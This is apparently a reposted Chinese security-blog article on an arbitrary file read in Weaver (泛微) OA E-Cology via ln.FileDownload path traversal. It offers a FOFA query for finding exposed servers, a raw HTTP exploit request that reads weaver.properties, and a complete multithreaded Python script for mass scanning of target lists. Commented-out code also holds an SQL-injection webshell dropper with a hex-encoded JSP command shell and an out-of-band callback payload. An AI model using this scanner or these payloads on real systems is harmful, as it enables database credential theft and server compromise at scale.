fofa查询语句:
fofa:app="泛微-OA(e-cology)"
利用脚本进行检测:
手工复现:
获取POC及批量检测脚本
GET /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.1007.136 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Upgrade-Insecure-Requests: 1 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
import requests import re import sys import urllib3 from argparse import ArgumentParser import threadpool from urllib import parse from time import time import random import os # from datetime import datetime # current_year = datetime.now().year # current_month = datetime.now().strftime('%m') # year_month = f'{current_year}'+f'{current_month}' urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url_list = [] file_name = '泛微OA E-Cology ln.FileDownload 任意文件读取' # fofa:app="泛微-OA(e-cology)" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} def wirte_targets(vurl, file_name): with open(file_name, "a+") as f: f.write(vurl + "\n") def check_file(filename): print('-------------------------------------------') file_path = f'{file_name}_vuln.txt' if os.path.isfile(file_path): print('存在漏洞的url如下~~~') with open(file_path, 'r') as file: lines = file.readlines() for line in lines: print(f'\033[32m{line.strip()}\033[0m') math_url = str(len(lines)) print('存在漏洞url:{}个'.format(math_url)) else: print('未发现漏洞!!!!') print('-------------------------------------------') def check_vuln(url): url = parse.urlparse(url) url1 = url.scheme + '://' + url.netloc # path = '''?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}''' # path1 = '''?n=%0A&cmd=cat /etc/passwd+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}''' zuo = '{' you = '}' vuln_url = f'{url[0]}://{url[1]}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties' # vuln_url1 = f'{url[0]}://{url[1]}/fog/management/only_test.php?0=id' headers = { 'User-Agent': get_ua(), 'Upgrade-Insecure-Requests': '1', # 'Cache-Control': 'max-age=0', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', # 'Blade-Auth': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ', } # headers1 = { # 'User-Agent': get_ua(), # # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', # # 'Accept-Encoding': 'gzip, deflate', # # 'Connection': 'keep-alive', # } # headers2 = { # 'User-Agent': get_ua(), # 'Content-Type': 'text/xml;charset=UTF-8', # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', # 'Accept-Encoding': 'gzip, deflate, br', # 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', # 'Upgrade-Insecure-Requests': '1', # 'Priority': 'u=1', # 'SOAPAction': 'http://tempuri.org/GetConnectionString', # 'Connection': 'close', # } # data = '''{"clientParam":"{\\\"x\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"xpce95oh.requestrepo.com\\\"}}}"}''' try : res = requests.get(url=vuln_url, headers=headers, allow_redirects=False, timeout=15, verify=False) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False) # # res_time = res.elapsed.total_seconds() # cookie = res.cookies['zentaosid'] # headers1 = { # 'User-Agent': get_ua(), # 'Accept-Encoding': 'gzip, deflate br', # 'Connection': 'close', # 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', # 'Cookie': f'zentaosid={cookie}', # } # res1 = requests.post(url=vuln_url1, headers=headers1, data=data, allow_redirects=False, timeout=15, verify=False) # x_state_value = res.headers.get('X-State') # print(x_state_value) # headersres = res.headers # Location = res.headers.get('Location') if res.status_code == 200 and 'password' in res.text:# res_time >= 5 # user = re.findall(r'user = (.*?)\n', res.text, re.DOTALL)[0] # passwd = re.findall(r'password = (.*?)\n', res.text, re.DOTALL)[0] # user = user.replace("\n", "") # passwd = passwd.replace("\n", "") # print(passwd) # if res1.status_code == 200 and 'only_test' in res.text: # cleaned_url_path = url_path.replace("\\", "") # vuln_url1 = f'{url[0]}://{url[1]}/Upload/PrimarySchoolEnrollment/{url_path}' # print(vuln_url1) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False) # if res1.status_code == 200 and 'only_test' in res1.text: print('\033[32m[+]{}\033[0m'.format(vuln_url)) # 延迟:{}秒 , wirte_targets(vuln_url, f"{file_name}_vuln.txt") # # elif res1.status_code == 200 and 'nologin' in res1.text: # print('\033[32m[+]{} Linux\033[0m'.format(vuln_url1)) # 延迟:{}秒 ,, # wirte_targets(vuln_url1 + ' Linux', f"{file_name}_vuln.txt") # # pwd = re.findall(r'password: \'(.*?)\'', res.text, re.DOTALL)[0] # data1 = f'''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"> # <soap:Header/> # <soap:Body> # <tem:GetToken> # <!--type: string--> # <tem:endId>{code}</tem:endId> # </tem:GetToken> # </soap:Body> # </soap:Envelope>''' # res1 = requests.post(url=vuln_url, headers=headers1, data=data1, allow_redirects=False, timeout=15, verify=False) # user_id = re.findall(r'User Id=(.*?);', res2.text, re.DOTALL)[0] # password = re.findall(r'Password=(.*?);', res2.text, re.DOTALL)[0] # return 1 # else: # print("\033[33m[-]{} not vulnerable. {}\033[0m".format(url1, res1.status_code)) else: print("\033[34m[-]{} not vulnerable. {}\033[0m".format(url1, res.status_code)) except Exception as e: print("\033[31m[!]{} is timeout\033[0m".format(url1)) # # def cmdshell(url): # # 先执行poc # if check_vuln(url) == 1: # url = parse.urlparse(url) # url1 = url.scheme + '://' + url.netloc # # 死循环模拟交互式shell # while 1: # cmd = input("\033[35mshell: \033[0m") # vuln_url = f'{url[0]}://{url[1]}/point_manage/merge' # vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp?cmd={cmd}' # # 如果输入exit就退出shell # if cmd == "exit": # sys.exit(0) # else: # try: # # zuo = '{' # # you = '}' # headers = { # 'User-Agent': get_ua(), # 'Content-Type': 'application/x-www-form-urlencoded', # 'Accept': '*/*', # 'Accept-Encoding': 'gzip, deflate', # # 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', # 'Connection': 'close', # } # headers1 = { # 'User-Agent': get_ua(), # # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', # # 'Connection': 'close', # # 'Content-Type': 'application/x-www-form-urlencoded', # } # # # zuo = '{' # # you = '}' # data = f'''id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL # INTO dumpfile '../../tomcat/webapps/gpsweb/only_test.jsp' FROM user_session a # WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8''' # # <?php echo shell_exec("dir"); ?> # # res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False) # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, # verify=False) # # # poc部分给的有解释 # if res.status_code == 200 and 'OK' in res.text: # if res1.status_code == 200: # rsp_command = re.findall(r'pre>(.*?)\n</', res1.text, re.DOTALL)[0] # if len(rsp_command) != 0: # print("\033[32m{}\033[0m".format(rsp_command)) # else: # print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text)) # else: # print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text)) # except Exception as e: # print("\033[31m[-]{} is timeout!\033[0m".format(url1)) def multithreading(url_list, pools=5): works = [] for i in url_list: works.append(i) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(check_vuln, works) [pool.putRequest(req) for req in reqs] pool.wait() if __name__ == '__main__': print(f"\n{file_name}\n ——————by hyuya~\n" f" ——————知识星球:大自然的nday搬运库(石占)") arg = ArgumentParser(description=f'{file_name}') arg.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") arg.add_argument("-f", "--file", help="Target URL; Example:url.txt") # arg.add_argument("-c", # "--cmd", # help="command; Example:python3 xxx.py -c http://ip:port") args = arg.parse_args() url = args.url filename = args.file start = time() # cmd = args.cmd print('[*]任务开始...') # print('[*]webshell使用冰蝎3连接,密码:rebeyond') if url != None and filename == None: # and cmd==None check_vuln(url) check_file(f'{file_name}_vuln.txt') elif url == None and filename != None: # and cmd==None for i in open(filename): i = i.replace('\n', '') url_list.append(i) multithreading(url_list, 10) end = time() print('任务完成,用时%d' % (end - start)) check_file(f'{file_name}_vuln.txt') # elif url == None and cmd != None and filename == None: # cmdshell(cmd)
原文始发于微信公众号(Undoubted Security):【漏洞分享】泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论